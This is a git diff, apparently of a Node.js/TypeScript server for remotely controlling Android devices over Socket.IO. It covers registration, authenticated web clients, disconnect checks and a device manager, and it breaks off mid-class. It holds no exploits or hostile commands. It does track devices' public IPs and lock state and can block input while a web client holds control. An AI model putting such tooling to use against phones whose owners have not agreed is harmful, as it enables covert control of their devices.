this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`) + this.deviceManager.removeDevice(deviceId) + } + } + + // 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息 + const existingDbDevice = this.databaseService.getDeviceById(deviceId) + + const deviceInfo = { + id: deviceId, + socketId: socket.id, + name: data.deviceName || 'Unknown Device', + model: data.deviceModel || 'Unknown', + osVersion: data.osVersion || 'Unknown', + appVersion: data.appVersion || '1.0.0', + appPackage: data.appPackage || null, + appName: data.appName || null, + screenWidth: data.screenWidth || 1080, + screenHeight: data.screenHeight || 1920, + capabilities: data.capabilities || [], + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: data.inputBlocked || false, + isLocked: data.isLocked || false, // 初始化锁屏状态 + remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注 + publicIP: data.publicIP || null, + // 🆕 添加系统版本信息字段 + systemVersionName: data.systemVersionName || null, + romType: data.romType || null, + romVersion: data.romVersion || null, + osBuildVersion: data.osBuildVersion || null + } + + this.logger.info(`设备信息: ${JSON.stringify(deviceInfo, null, 2)}`) + + // 保存到数据库 + this.databaseService.saveDevice({ + ...data, + appPackage: data.appPackage || null, + appName: data.appName || null + }, socket.id) + + this.deviceManager.addDevice(deviceInfo) + socket.deviceId = deviceInfo.id + socket.clientType = 'device' + + // 通知设备注册成功 + socket.emit('device_registered', { + deviceId: deviceInfo.id, + message: '设备注册成功' + }) + + this.logger.info(`✅ 设备注册成功,已通知设备`) + + // 通知所有Web客户端有新设备连接 + const connectedClients = this.webClientManager.getClientCount() + if (connectedClients > 0) { + this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`) + this.webClientManager.broadcastToAll('device_connected', deviceInfo) + } else { + this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`) + } + + // ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态 + // 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可 + try { + this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`) + const deviceState = this.databaseService.getDeviceState(deviceInfo.id) + + if (deviceState) { + // 更新内存中的设备状态(用于Web端查询和显示) + if (deviceState.inputBlocked !== null) { + deviceInfo.inputBlocked = deviceState.inputBlocked + } + + this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) + + // ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态 + if (connectedClients > 0) { + this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: deviceInfo.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: deviceInfo.inputBlocked + } + }) + } + } else { + this.logger.debug(`设备 ${deviceInfo.id} 没有保存的状态信息`) + } + } catch (error) { + this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error) + } + + // ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题 + setTimeout(() => { + const finalConnectedClients = this.webClientManager.getClientCount() + if (finalConnectedClients > 0) { + const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id) + if (finalDeviceInfo) { + this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`) + this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo) + } + } + }, 1000) // 1秒后再次确认 + + this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`) + this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`) + + } catch (error) { + this.logger.error('设备注册失败:', error) + socket.emit('registration_error', { message: '设备注册失败' }) + } + } + + /** + * 处理Web客户端注册 + */ + private handleWebClientRegister(socket: any, data: any): void { + try { + // 🔐 Web客户端认证验证:检查认证token + const token = socket.handshake.auth?.token + if (!token) { + this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`) + socket.emit('auth_error', { message: '缺少认证token' }) + socket.disconnect() + return + } + + // 验证token + const authResult = this.authService.verifyToken(token) + if (!authResult.valid) { + this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`) + socket.emit('auth_error', { message: authResult.error || '认证失败' }) + socket.disconnect() + return + } + + // 认证成功,记录用户信息 + socket.userId = authResult.user?.id + socket.username = authResult.user?.username + this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`) + + // 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端 + const existingClient = this.webClientManager.getClientBySocketId(socket.id) + if (existingClient) { + this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`) + + // 更新现有客户端的活动时间和用户代理 + existingClient.lastSeen = new Date() + existingClient.userAgent = data.userAgent || existingClient.userAgent + existingClient.userId = authResult.user?.id // 🔐 更新用户ID + existingClient.username = authResult.user?.username // 🔐 更新用户名 + socket.clientId = existingClient.id + socket.clientType = 'web' + + // 🔐 恢复用户的设备权限 + if (authResult.user?.id) { + this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id) + } + + // 发送当前设备列表(包含历史设备) + const allDevices = this.getAllDevicesIncludingHistory() + socket.emit('client_registered', { + clientId: existingClient.id, + devices: allDevices + }) + + this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`) + return + } + + const clientInfo = { + id: uuidv4(), + socketId: socket.id, + userAgent: data.userAgent || 'Unknown', + ip: socket.handshake.address, + connectedAt: new Date(), + lastSeen: new Date(), + userId: authResult.user?.id, // 🔐 添加用户ID + username: authResult.user?.username // 🔐 添加用户名 + } + + this.webClientManager.addClient(clientInfo) + socket.clientId = clientInfo.id + socket.clientType = 'web' + + // 🔐 恢复用户的设备权限 + if (authResult.user?.id) { + this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id) + } + + // 发送当前设备列表(包含历史设备) + const allDevices = this.getAllDevicesIncludingHistory() + socket.emit('client_registered', { + clientId: clientInfo.id, + devices: allDevices + }) + + this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`) + this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`) + + } catch (error) { + this.logger.error('Web客户端注册失败:', error) + socket.emit('registration_error', { message: '客户端注册失败' }) + } + } + + /** + * 处理连接断开 - 增强版,减少误判设备断开 + */ + private handleDisconnect(socket: any): void { + this.logger.info(`连接断开: ${socket.id} (类型: ${socket.clientType})`) + + // 更新数据库中的断开连接记录 + this.databaseService.updateDisconnection(socket.id) + + if (socket.clientType === 'device' && socket.deviceId) { + const deviceId = socket.deviceId + this.logger.warn(`🔍 设备Socket断开: ${deviceId} (${socket.id})`) + + // 🔧 优化:短延迟验证断开状态,平衡误判防护和真实断开检测速度 + // 因为Socket.IO的disconnect事件可能因为网络抖动等原因被误触发,但真正断开应该快速处理 + setTimeout(() => { + this.verifyDeviceDisconnection(deviceId, socket.id) + }, 1500) // 1.5秒后验证,更快响应真实断开 + + } else if (socket.clientType === 'web' && socket.clientId) { + // 🔧 优化Web客户端断开处理 + const clientId = socket.clientId + const client = this.webClientManager.getClient(clientId) + + if (client) { + // 如果客户端正在控制设备,释放控制权 + if (client.controllingDeviceId) { + this.logger.info(`🔓 Web客户端断开,释放设备控制权: ${client.controllingDeviceId}`) + this.webClientManager.releaseDeviceControl(client.controllingDeviceId) + + // 通知设备控制者已离开 + const deviceSocketId = this.deviceManager.getDeviceSocketId(client.controllingDeviceId) + if (deviceSocketId) { + const deviceSocket = this.io.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('controller_changed', { clientId: null }) + } + } + } + + this.webClientManager.removeClient(clientId) + this.logger.info(`Web客户端断开连接: ${clientId} (IP: ${client.ip})`) + } else { + // 通过Socket ID移除客户端 + this.webClientManager.removeClientBySocketId(socket.id) + this.logger.info(`Web客户端断开连接 (通过Socket ID): ${socket.id}`) + } + + this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`) + } else { + // 🔧 处理未识别的连接类型 + this.logger.warn(`⚠️ 未识别的连接断开: ${socket.id} (类型: ${socket.clientType})`) + + // 尝试清理可能存在的记录 + this.webClientManager.removeClientBySocketId(socket.id) + } + } + + /** + * 获取所有设备(包含历史设备) + */ + private getAllDevicesIncludingHistory(): any[] { + try { + // ✅ 直接从数据库获取设备,状态已经正确存储 + const allDbDevices = this.databaseService.getAllDevices() + + // 获取内存中的在线设备,用于补充Socket ID + const onlineDevices = this.deviceManager.getAllDevices() + const onlineDeviceMap = new Map() + onlineDevices.forEach(device => { + onlineDeviceMap.set(device.id, device) + }) + + // 转换为前端格式并补充Socket ID + const devices = allDbDevices.map(dbDevice => { + const onlineDevice = onlineDeviceMap.get(dbDevice.deviceId) + + return { + id: dbDevice.deviceId, + socketId: onlineDevice?.socketId || '', // 在线设备有Socket ID,离线设备为空 + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + appName: dbDevice.appName, + remark: dbDevice.remark, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: dbDevice.capabilities, + connectedAt: dbDevice.firstSeen, + lastSeen: dbDevice.lastSeen, + // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 + status: onlineDevice ? 'online' : dbDevice.status, + inputBlocked: onlineDevice?.inputBlocked || false, + publicIP: dbDevice.publicIP, + // 🆕 添加系统版本信息字段 + systemVersionName: dbDevice.systemVersionName, + romType: dbDevice.romType, + romVersion: dbDevice.romVersion, + osBuildVersion: dbDevice.osBuildVersion + } + }) + + this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`) + return devices + + } catch (error) { + this.logger.error('获取设备列表失败:', error) + // 出错时返回内存中的设备 + return this.deviceManager.getAllDevices() + } + } + + /** + * 🆕 获取活跃的Web客户端列表 + */ + private getActiveWebClients(): any[] { + try { + const allClients = Array.from(this.webClientManager.getAllClients()) + const activeClients = allClients.filter(client => { + const socket = this.io.sockets.sockets.get(client.socketId) + return socket && socket.connected + }) + + this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`) + + return activeClients.map(client => ({ + id: client.id, + userAgent: client.userAgent, + ip: client.ip, + connectedAt: client.connectedAt, + lastSeen: client.lastSeen + })) + } catch (error) { + this.logger.error('获取活跃Web客户端失败:', error) + return [] + } + } + + /** + * 广播设备状态 + */ + private broadcastDeviceStatus(deviceId: string, status: any): void { + this.webClientManager.broadcastToAll('device_status_update', { + deviceId, + status + }) + } + + /** + * ✅ 服务器启动时恢复设备状态 + */ + private recoverDeviceStates(): void { + setTimeout(() => { + this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄') + + // ✅ 首先将数据库中所有设备状态重置为离线 + this.databaseService.resetAllDevicesToOffline() + + // 获取所有已连接的Socket + const connectedSockets = Array.from(this.io.sockets.sockets.values()) + this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`) + + if (connectedSockets.length === 0) { + this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...') + return + } + + // 向所有Socket发送ping,要求重新注册 + connectedSockets.forEach((socket, index) => { + try { + this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`) + + // 检查Socket是否仍然连接 + if (!socket.connected) { + this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`) + return + } + + // 发送ping请求设备重新注册 + socket.emit('server_restarted', { + message: '服务器已重启,请重新注册', + timestamp: new Date().toISOString() + }) + this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`) + + // 同时发送通用ping + socket.emit('ping_for_registration', { + requireReregistration: true, + serverRestartTime: new Date().toISOString() + }) + this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`) + + } catch (error) { + this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error) + } + }) + + // 5秒后检查恢复结果 + setTimeout(() => { + const recoveredDevices = this.deviceManager.getDeviceCount() + this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`) + + if (recoveredDevices > 0) { + // 广播设备列表更新 + this.webClientManager.broadcastToAll('devices_recovered', { + deviceCount: recoveredDevices, + devices: this.deviceManager.getAllDevices() + }) + } else { + this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用') + } + }, 5000) + + }, 2000) // 延迟2秒执行,确保服务器完全启动 + } + + /** + * ✅ 启动状态一致性检查定时器 + */ + private startConsistencyChecker(): void { + // 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突 + setInterval(() => { + this.checkAndFixInconsistentStates() + }, 60000) // 改为每1分钟检查一次,平衡检测速度和稳定性 + + // ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步 + setInterval(() => { + this.refreshDeviceStatusToWebClients() + }, 10000) // 每10秒刷新一次 + + this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试') + } + + /** + * ✅ 检查和修复不一致状态 - 增强版,减少误判 + */ + private checkAndFixInconsistentStates(): void { + try { + const memoryDevices = this.deviceManager.getAllDevices() + let fixedCount = 0 + const currentTime = Date.now() + + this.logger.debug(`🔍 开始状态一致性检查,检查 ${memoryDevices.length} 个设备`) + + for (const device of memoryDevices) { + const socket = this.io.sockets.sockets.get(device.socketId) + + // 🔧 修复:增加多重验证条件,避免误判 + const socketExists = !!socket + const socketConnected = socket?.connected || false + const timeSinceLastSeen = currentTime - device.lastSeen.getTime() + const isRecentlyActive = timeSinceLastSeen < 180000 // 3分钟内有活动 + + this.logger.debug(`📊 设备 ${device.id} 状态检查: socket存在=${socketExists}, 连接=${socketConnected}, 最后活跃=${Math.round(timeSinceLastSeen / 1000)}秒前`) + + // 🔧 平衡的断开判断逻辑:快速检测真实断开,避免心跳期间误判 + // 1. Socket必须完全不存在(不检查connected状态,因为心跳期间可能瞬时为false) + // 2. 且设备超过2分钟无活动(适中的容错时间,足够检测真实断开) + // 3. 且不是刚连接的设备(避免恢复期间的竞态条件) + const shouldRemove = !socketExists && + timeSinceLastSeen > 120000 && // 2分钟无活动才考虑断开 + (currentTime - device.connectedAt.getTime()) > 60000 // 连接超过1分钟才检查 + + if (shouldRemove) { + this.logger.warn(`⚠️ 确认设备真正断开: ${device.id} (${device.name})`) + this.logger.warn(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`) + this.logger.warn(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`) + this.logger.warn(` - 连接时长: ${Math.round((currentTime - device.connectedAt.getTime()) / 1000)}秒`) + + // 🔧 优化:适中的二次确认延迟,快速清理真正断开的设备 + setTimeout(() => { + this.performSecondaryDeviceCheck(device.id, device.socketId) + }, 3000) // 3秒后二次确认 + + } else { + // 设备状态正常或在容错范围内 + if (!socketExists || !socketConnected) { + this.logger.debug(`⏸️ 设备 ${device.id} Socket状态异常但在容错范围内 (最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前)`) + } + } + } + + if (fixedCount > 0) { + this.logger.info(`🔧 状态一致性检查完成,修复了 ${fixedCount} 个不一致状态`) + } else { + this.logger.debug(`✅ 状态一致性检查完成,所有设备状态正常`) + } + + } catch (error) { + this.logger.error('状态一致性检查失败:', error) + } + } + + /** + * 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判 + * + * 优化策略: + * 1. Socket不存在时立即清理(真正断开) + * 2. Socket存在但未连接时主动测试(CONNECTION_TEST) + * 3. 测试无响应时确认断开,有响应时恢复状态 + * 4. 缩短各种延迟时间,提高响应速度 + */ + private verifyDeviceDisconnection(deviceId: string, socketId: string): void { + try { + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + this.logger.debug(`📋 验证断开时设备 ${deviceId} 已不在内存中,可能已被其他逻辑清理`) + return + } + + // 检查设备是否已经重新连接(新的Socket ID) + if (device.socketId !== socketId) { + this.logger.info(`✅ 设备 ${deviceId} 已重新连接,新Socket: ${device.socketId},跳过断开处理`) + return + } + + const socket = this.io.sockets.sockets.get(socketId) + const currentTime = Date.now() + const timeSinceLastSeen = currentTime - device.lastSeen.getTime() + + // 🔧 优化:区分不同断开场景的检查条件 + const socketExists = !!socket + const socketConnected = socket?.connected || false + const hasRecentActivity = timeSinceLastSeen < 5000 // 5秒内有活动 + + this.logger.info(`🔍 验证设备 ${deviceId} 断开状态:`) + this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`) + this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`) + this.logger.info(` - 近期活跃: ${hasRecentActivity}`) + + // 🔧 关键优化:如果Socket不存在,很可能是真正的断开 + if (!socketExists) { + this.logger.warn(`❌ Socket完全不存在,确认设备真实断开: ${deviceId}`) + this.executeDeviceCleanup(deviceId, device) + return + } + + // 🔧 如果Socket存在但未连接,且无近期活动,尝试主动测试连接 + if (!socketConnected && !hasRecentActivity) { + this.logger.warn(`🔍 Socket存在但未连接,主动测试设备连接: ${deviceId}`) + this.testDeviceConnection(deviceId, socketId, device) + return + } + + // 设备状态正常,确保Web端知道设备在线 + this.logger.info(`✅ 验证结果:设备 ${deviceId} 仍然在线,disconnect事件是误报`) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + } catch (error) { + this.logger.error(`验证设备断开失败 (${deviceId}):`, error) + } + } + + /** + * 🆕 主动测试设备连接 + */ + private testDeviceConnection(deviceId: string, socketId: string, device: any): void { + const socket = this.io.sockets.sockets.get(socketId) + if (!socket) { + this.logger.warn(`❌ 测试连接时Socket已不存在: ${deviceId}`) + this.executeDeviceCleanup(deviceId, device) + return + } + + this.logger.info(`📡 向设备 ${deviceId} 发送连接测试`) + + // 设置响应超时 + let responded = false + const timeout = setTimeout(() => { + if (!responded) { + this.logger.warn(`⏰ 设备 ${deviceId} 连接测试超时,确认断开`) + this.executeDeviceCleanup(deviceId, device) + } + }, 5000) // 5秒超时 + + // 发送测试ping + try { + socket.emit('CONNECTION_TEST', { + timestamp: Date.now(), + testId: `verify_${Date.now()}` + }) + + // 监听一次性响应 + const responseHandler = (data: any) => { + responded = true + clearTimeout(timeout) + this.logger.info(`✅ 设备 ${deviceId} 连接测试成功,设备仍在线`) + + // 更新设备活跃时间 + device.lastSeen = new Date() + + // 确保Web端知道设备在线 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // 清理监听器 + socket.off('CONNECTION_TEST_RESPONSE', responseHandler) + } + + socket.once('CONNECTION_TEST_RESPONSE', responseHandler) + + } catch (error) { + responded = true + clearTimeout(timeout) + this.logger.error(`❌ 发送连接测试失败: ${deviceId}`, error) + this.executeDeviceCleanup(deviceId, device) + } + } + + /** + * 🆕 执行设备清理逻辑 + */ + private executeDeviceCleanup(deviceId: string, device: any): void { + this.logger.warn(`🧹 执行设备清理: ${deviceId} (${device.name})`) + + // 释放控制权 + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (controllerId) { + this.logger.info(`🔓 设备断开,自动释放控制权: ${deviceId} (控制者: ${controllerId})`) + this.webClientManager.releaseDeviceControl(deviceId) + + // 通知控制的Web客户端设备已断开 + this.webClientManager.sendToClient(controllerId, 'device_control_lost', { + deviceId: deviceId, + reason: 'device_disconnected', + message: '设备已断开连接' + }) + } + + // 清理设备 + this.deviceManager.removeDevice(deviceId) + this.databaseService.setDeviceOffline(deviceId) + this.webClientManager.broadcastToAll('device_disconnected', deviceId) + + this.logger.info(`✅ 已清理断开的设备: ${device.name} (${deviceId})`) + } + + /** + * 🔧 二次确认设备是否真正断开(避免误判) + */ + private performSecondaryDeviceCheck(deviceId: string, socketId: string): void { + try { + const device = this.deviceManager.getDevice(deviceId) + if (!device) { + this.logger.debug(`📋 二次检查时设备 ${deviceId} 已不在内存中,跳过`) + return + } + + const socket = this.io.sockets.sockets.get(socketId) + const currentTime = Date.now() + const timeSinceLastSeen = currentTime - device.lastSeen.getTime() + + // 🔧 优化:二次检查条件更合理,60秒无活动就考虑断开 + const socketExists = !!socket + const socketConnected = socket?.connected || false + const isInactive = timeSinceLastSeen > 60000 // 1分钟无活动 + + this.logger.info(`🔍 二次确认设备 ${deviceId} 状态:`) + this.logger.info(` - Socket存在: ${socketExists}, 连接: ${socketConnected}`) + this.logger.info(` - 最后活跃: ${Math.round(timeSinceLastSeen / 1000)}秒前`) + + if (!socketExists || (!socketConnected && isInactive)) { + this.logger.warn(`❌ 二次确认:设备 ${deviceId} 确实已断开,执行清理`) + this.executeDeviceCleanup(deviceId, device) + } else { + this.logger.info(`✅ 二次确认:设备 ${deviceId} 状态正常,保持连接`) + + // 设备状态恢复正常,确保Web端知道设备在线 + if (socketExists && socketConnected) { + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + } + } + + } catch (error) { + this.logger.error(`二次设备检查失败 (${deviceId}):`, error) + } + } + + /** + * ✅ 刷新设备状态给Web客户端 + */ + private refreshDeviceStatusToWebClients(): void { + try { + const webClientCount = this.webClientManager.getClientCount() + if (webClientCount === 0) { + return // 没有Web客户端,跳过刷新 + } + + const onlineDevices = this.deviceManager.getAllDevices() + + for (const device of onlineDevices) { + // 验证设备Socket仍然连接 + const socket = this.io.sockets.sockets.get(device.socketId) + if (socket && socket.connected) { + // 广播设备在线状态 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + } + } + + if (onlineDevices.length > 0) { + this.logger.debug(`🔄 已刷新 ${onlineDevices.length} 个设备状态给 ${webClientCount} 个Web客户端`) + } + + } catch (error) { + this.logger.error('刷新设备状态失败:', error) + } + } + + /** + * 启动服务器 + */ + public async start(port: number = 3001): Promise { + try { + // 🆕 先初始化 AuthService(确保超级管理员账号已创建) + this.logger.info('正在初始化认证服务...') + await this.authService.initialize() + this.logger.info('认证服务初始化完成') + + // 然后启动服务器 + this.server.listen(port, () => { + this.logger.info(`远程控制服务器启动成功,端口: ${port}`) + this.logger.info(`WebSocket服务地址: ws://localhost:${port}`) + this.logger.info(`HTTP API地址: http://localhost:${port}`) + this.logger.info(`🔧 关键修复已应用:`) + this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`) + this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`) + this.logger.info(` - 增强设备活跃时间更新机制`) + this.logger.info(` - 减少状态检查器误判 (90秒间隔)`) + + // ✅ 关键修复:服务器启动后立即恢复设备状态 + this.recoverDeviceStates() + }) + } catch (error) { + this.logger.error('服务器启动失败:', error) + // 即使初始化失败,也尝试启动服务器(可能已经有用户数据) + this.server.listen(port, () => { + this.logger.warn('服务器已启动,但认证服务初始化可能未完成') + this.logger.info(`远程控制服务器启动成功,端口: ${port}`) + this.recoverDeviceStates() + }) + } + + // 处理进程退出 + process.on('SIGINT', () => { + this.logger.info('正在关闭服务器...') + this.server.close(() => { + this.logger.info('服务器已关闭') + process.exit(0) + }) + }) + } +} + +// 添加全局错误处理,防止未捕获的异常导致程序崩溃 +process.on('uncaughtException', (error: Error) => { + console.error('未捕获的异常:', error) + console.error('错误堆栈:', error.stack) + // 不退出进程,记录错误并继续运行 +}) + +process.on('unhandledRejection', (reason: any, promise: Promise) => { + console.error('未处理的Promise拒绝:', reason) + if (reason instanceof Error) { + console.error('错误堆栈:', reason.stack) + } + // 不退出进程,记录错误并继续运行 +}) + +// 启动服务器 +const server = new RemoteControlServer() +const port = process.env.PORT ? parseInt(process.env.PORT) : 3001 +server.start(port).catch((error) => { + console.error('服务器启动失败:', error) + process.exit(1) +}) \ No newline at end of file diff --git a/src/managers/DeviceManager.ts b/src/managers/DeviceManager.ts new file mode 100644 index 0000000..86e139f --- /dev/null +++ b/src/managers/DeviceManager.ts @@ -0,0 +1,230 @@ +import Logger from '../utils/Logger' + +/** + * 设备信息接口 + */ +export interface DeviceInfo { + id: string + socketId: string + name: string + model: string + osVersion: string + appVersion: string + appPackage?: string + appName?: string + screenWidth: number + screenHeight: number + capabilities: string[] + connectedAt: Date + lastSeen: Date + status: 'online' | 'offline' | 'busy' + inputBlocked?: boolean + isLocked?: boolean // 设备锁屏状态 + remark?: string // 🆕 设备备注 + publicIP?: string + // 🆕 新增系统版本信息字段 + systemVersionName?: string // 如"Android 11"、"Android 12" + romType?: string // 如"MIUI"、"ColorOS"、"原生Android" + romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1" + osBuildVersion?: string // 如"1.0.19.0.UMCCNXM"等完整构建版本号 +} + +/** + * 设备状态接口 + */ +export interface DeviceStatus { + cpu: number + memory: number + battery: number + networkSpeed: number + orientation: 'portrait' | 'landscape' + screenOn: boolean +} + +/** + * 设备管理器 + */ +class DeviceManager { + private devices: Map = new Map() + private deviceStatuses: Map = new Map() + private socketToDevice: Map = new Map() + private logger: Logger + + constructor() { + this.logger = new Logger('DeviceManager') + } + + /** + * ✅ 清理所有设备记录(服务器重启时调用) + */ + clearAllDevices(): void { + const deviceCount = this.devices.size + this.devices.clear() + this.deviceStatuses.clear() + this.socketToDevice.clear() + this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`) + } + + /** + * 添加设备 + */ + addDevice(deviceInfo: DeviceInfo): void { + this.devices.set(deviceInfo.id, deviceInfo) + this.socketToDevice.set(deviceInfo.socketId, deviceInfo.id) + this.logger.info(`设备已添加: ${deviceInfo.name} (${deviceInfo.id})`) + } + + /** + * 移除设备 + */ + removeDevice(deviceId: string): boolean { + const device = this.devices.get(deviceId) + if (device) { + this.devices.delete(deviceId) + this.deviceStatuses.delete(deviceId) + this.socketToDevice.delete(device.socketId) + this.logger.info(`设备已移除: ${device.name} (${deviceId})`) + return true + } + return false + } + + /** + * 通过Socket ID移除设备 + */ + removeDeviceBySocketId(socketId: string): boolean { + const deviceId = this.socketToDevice.get(socketId) + if (deviceId) { + return this.removeDevice(deviceId) + } + return false + } + + /** + * 获取设备信息 + */ + getDevice(deviceId: string): DeviceInfo | undefined { + return this.devices.get(deviceId) + } + + /** + * 通过Socket ID获取设备 + */ + getDeviceBySocketId(socketId: string): DeviceInfo | undefined { + const deviceId = this.socketToDevice.get(socketId) + return deviceId ? this.devices.get(deviceId) : undefined + } + + /** + * 获取所有设备 + */ + getAllDevices(): DeviceInfo[] { + return Array.from(this.devices.values()) + } + + /** + * 获取在线设备 + */ + getOnlineDevices(): DeviceInfo[] { + return Array.from(this.devices.values()).filter(device => device.status === 'online') + } + + /** + * 获取设备数量 + */ + getDeviceCount(): number { + return this.devices.size + } + + /** + * 更新设备状态 + */ + updateDeviceStatus(socketId: string, status: DeviceStatus): void { + const deviceId = this.socketToDevice.get(socketId) + if (deviceId) { + const device = this.devices.get(deviceId) + if (device) { + device.lastSeen = new Date() + this.deviceStatuses.set(deviceId, status) + this.logger.debug(`设备状态已更新: ${deviceId}`, status) + } + } + } + + /** + * 获取设备状态 + */ + getDeviceStatus(deviceId: string): DeviceStatus | undefined { + return this.deviceStatuses.get(deviceId) + } + + /** + * 更新设备连接状态 + */ + updateDeviceConnectionStatus(deviceId: string, status: DeviceInfo['status']): void { + const device = this.devices.get(deviceId) + if (device) { + device.status = status + device.lastSeen = new Date() + this.logger.info(`设备连接状态已更新: ${deviceId} -> ${status}`) + } + } + + /** + * 检查设备是否在线 + */ + isDeviceOnline(deviceId: string): boolean { + const device = this.devices.get(deviceId) + return device ? device.status === 'online' : false + } + + /** + * 获取设备的Socket ID + */ + getDeviceSocketId(deviceId: string): string | undefined { + const device = this.devices.get(deviceId) + return device?.socketId + } + + /** + * 清理离线设备 (超过指定时间未活跃) + */ + cleanupOfflineDevices(timeoutMs: number = 300000): void { + const now = Date.now() + const devicesToRemove: string[] = [] + + for (const [deviceId, device] of this.devices.entries()) { + if (now - device.lastSeen.getTime() > timeoutMs) { + devicesToRemove.push(deviceId) + } + } + + devicesToRemove.forEach(deviceId => { + this.removeDevice(deviceId) + }) + + if (devicesToRemove.length > 0) { + this.logger.info(`已清理 ${devicesToRemove.length} 个离线设备`) + } + } + + /** + * 获取设备统计信息 + */ + getDeviceStats(): { + total: number + online: number + offline: number + busy: number + } { + const devices = Array.from(this.devices.values()) + return { + total: devices.length, + online: devices.filter(d => d.status === 'online').length, + offline: devices.filter(d => d.status === 'offline').length, + busy: devices.filter(d => d.status === 'busy').length, + } + } +} + +export default DeviceManager \ No newline at end of file diff --git a/src/managers/WebClientManager.ts b/src/managers/WebClientManager.ts new file mode 100644 index 0000000..bcef699 --- /dev/null +++ b/src/managers/WebClientManager.ts @@ -0,0 +1,466 @@ +import { Server as SocketIOServer, Socket } from 'socket.io' +import Logger from '../utils/Logger' +import { DatabaseService } from '../services/DatabaseService' + +/** + * Web客户端信息接口 + */ +export interface WebClientInfo { + id: string + socketId: string + userAgent: string + ip: string + connectedAt: Date + lastSeen: Date + controllingDeviceId?: string + userId?: string // 🔐 添加用户ID字段 + username?: string // 🔐 添加用户名字段 +} + +/** + * Web客户端管理器 + */ +class WebClientManager { + private clients: Map = new Map() + private socketToClient: Map = new Map() + private deviceControllers: Map = new Map() // deviceId -> clientId + private logger: Logger + public io?: SocketIOServer + private databaseService?: DatabaseService // 🔐 添加数据库服务引用 + + // 🔧 添加请求速率限制 - 防止频繁重复请求 + private 